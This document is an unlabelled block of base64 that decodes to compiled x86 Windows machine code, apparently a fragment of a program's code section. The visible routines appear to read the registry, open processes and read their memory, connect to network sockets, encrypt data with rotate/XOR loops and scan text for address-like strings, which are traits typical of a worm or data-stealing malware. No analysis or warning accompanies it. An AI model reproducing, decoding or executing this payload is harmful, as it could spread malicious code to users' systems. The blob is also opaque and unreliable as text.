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 